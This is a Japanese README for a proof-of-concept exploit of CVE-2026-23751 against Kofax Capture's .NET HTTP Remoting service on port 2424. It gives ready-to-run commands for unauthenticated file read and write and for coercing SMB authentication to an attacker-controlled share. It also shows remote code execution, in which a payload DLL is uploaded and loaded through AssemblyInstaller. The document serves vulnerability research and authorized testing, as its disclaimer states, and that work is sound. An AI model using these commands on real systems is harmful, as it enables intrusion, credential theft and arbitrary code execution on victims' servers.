CVE-2026-23751-PoC

Code White の NewRemotingTricks で解説されている .NET HTTP Remoting 手法の概念実証実装であり、Tungsten Automation Kofax Capture を対象としています。

CVE-2026-23751

タイトル: Tungsten Automation Kofax Capture における .NET HTTP Remoting を介した未認証のファイル読み取り/書き込みおよびコマンド実行

CVE: CVE-2026-23751

この PoC の著者（CVE の著者ではない）: Filip Sanders, Siebren Kraak

説明

CVE-2026-23751 は Tungsten Automation Kofax Capture に影響し、未認証のリモート攻撃者が Kofax Capture の ACService によって公開される .NET HTTP Remoting エンドポイントと対話できるようにします。

この脆弱性を悪用すると、Kofax Capture サービスのセキュリティコンテキストで以下の操作を実行できます:

• 未認証の任意ファイル読み取り
• 未認証の任意ファイル書き込み
• SMB 認証の強制
• Kofax Capture サービスがアクセス可能なローカルファイルへのアクセス
• UNC パスを介したリモートファイルへのアクセス
• リモートコマンド実行

この PoC は、Code White の NewRemotingTricks プロジェクトから関連する .NET Remoting 手法を再実装したものです。

影響を受けるエンドポイント

この PoC は Kofax Capture の ACService HTTP Remoting エンドポイントを対象としています:

http://<target>:2424/ACService

ポート 2424 は、影響を受けるサービスが使用するデフォルトの HTTP Remoting ポートです。

使用方法

この PoC は 3 つの操作をサポートしています:

read
write
exec

一般的な構文は次のとおりです:

RemotingClient_MBRO_Lazy.exe <operation> <object-url> <file-url> [content]

ローカルファイルの読み取り

次の例では、ターゲットから Windows の hosts ファイルを読み取ります:

PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\Windows\System32\drivers\etc\hosts

Kofax Capture の設定ファイルも同様に読み取ることができます:

PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\ProgramData\Kofax\Remoting\Client\Configuration\ConfigInfo.xml

リモートリソースには file:// URI を使用してアクセスすることもできます:

PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt

リモートの WebClient から返された内容は標準出力に書き込まれます。

ローカルファイルへの書き込み

Kofax Capture サービスからアクセス可能な場所にファイルを書き込むには、書き込み先のパスに続けて内容を指定します:

PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService C:\Windows\Temp\test.txt HelloWorld

提供されたコンテンツはUTF-8でエンコードされ、リモートでインスタンス化されたWebClientを使用してアップロードされます。

リモートSMB共有への書き込み

同じ機能をUNCパスと組み合わせて使用することで、リモートSMB共有に書き込むことができます:

PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService \\<remote_host>\share\file.txt HelloWorld

リモートリソースへのアクセス可否は、Kofax Capture サービスの権限とセキュリティコンテキストに依存します。

SMB 強制

read 操作をリモートの file:// リソースと組み合わせて使用すると、ターゲットに攻撃者が制御する SMB リソースへアクセスさせることができます:

PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt

これにより、対象環境とそのセキュリティ設定に応じて、影響を受けるホストが攻撃者の制御する SMB サーバーに対して認証を行う可能性があります。

コマンド実行

exec 操作を使用すると、リモートの Kofax Capture サービスのコンテキストで、指定した .NET アセンブリを実行できます。

アセンブリはまずターゲットにアップロードされ、その後、リモートでインスタンス化された AssemblyInstaller を使用して読み込まれます:

PS C:/> .\RemotingClient_MBRO_Lazy.exe exec http://<target>:2424/ACService C:\Windows\Temp\payload.dll

指定されたパスは、アップロードされたアセンブリの保存先として使用され、その後リモートの AssemblyInstaller に渡されます。アセンブリはサーバー側で読み込まれ、.NET Framework のインストール機構を通じてインストールされます。

実行後、PoC は以下の場所から実行出力を読み取ります:

C:\Windows\Temp\pwn_out.txt

ペイロードの正確な動作は Payload.dll の内容に依存します。

技術的背景

この脆弱性は、Kofax Capture の ACService による .NET HTTP Remoting の使用に関係しています。

.NET Remoting は、リモートの MarshalByRefObject インスタンスと通信するための仕組みを提供します。公開されているリモート処理エンドポイントと対話し、論理呼び出しコンテキストを操作することで、PoC は MarshalByRefObject を継承する .NET Framework クラスのリモートインスタンスを取得できます。

PoC はこの動作を利用して、以下をリモートインスタンスとして取得します:

System.Net.WebClient
System.Configuration.Install.AssemblyInstaller

リモートでインスタンス化された WebClient は、その後、Kofax Capture サービスのコンテキストからファイルシステムおよびネットワーク操作を実行するために使用できます。

コマンド実行のために、PoC はリモートの WebClient を使用して Payload.dll をアップロードし、リモートの AssemblyInstaller を取得してそのアセンブリパスを設定し、インストール機構を呼び出します。これにより、指定されたアセンブリがターゲット上で読み込まれ、実行されます。

したがって、PoC は以下のプリミティブを実証します:

• MarshalByRefObject インスタンスのリモートインスタンス化
• 任意のファイル読み取り
• 任意のファイル書き込み
• UNC/SMB リソースへのアクセス
• SMB 認証の強制
• 指定された .NET アセンブリの読み込みと実行

write 機能は現在、UTF-8 エンコードされた文字列データを操作します。追加のファイルタイプやペイロード形式は、ソースコードを変更することでサポートできます。

要件

• Windows
• .NET Framework
• ターゲットの Kofax Capture ACService へのネットワークアクセス
• 影響を受ける HTTP Remoting エンドポイントを公開している Kofax Capture インスタンス
• RemotingClient_MBRO_Lazy.exe
• exec 操作を使用する場合の Payload.dll

エクスプロイトに Kofax Capture サービスへの認証は不要です。

プロジェクト構成

CVE-2026-23751-poc/
├── RemotingClient_MBRO_Lazy/
│   └── RemotingClient_MBRO_Lazy.exe
├── Shared/
│   └── Shared.dll
├── Payload/
│   └── Payload.dll
└── README.md

参考文献

• CVE-2026-23751 — Tungsten Automation Kofax Capture における .NET HTTP Remoting を介した未認証のファイル読み取り/書き込みおよびコマンド実行
• Code White — NewRemotingTricks

著者

Filip Sanders

Siebren Kraak

免責事項

このリポジトリは、セキュリティ研究、脆弱性の検証、および許可されたペネトレーションテストの目的にのみ提供されています。

明示的な許可なくシステムに対してこの PoC を使用しないでください。著者は、このソフトウェアの悪用に起因する損害、データ損失、不正アクセス、その他の結果について一切の責任を負いません。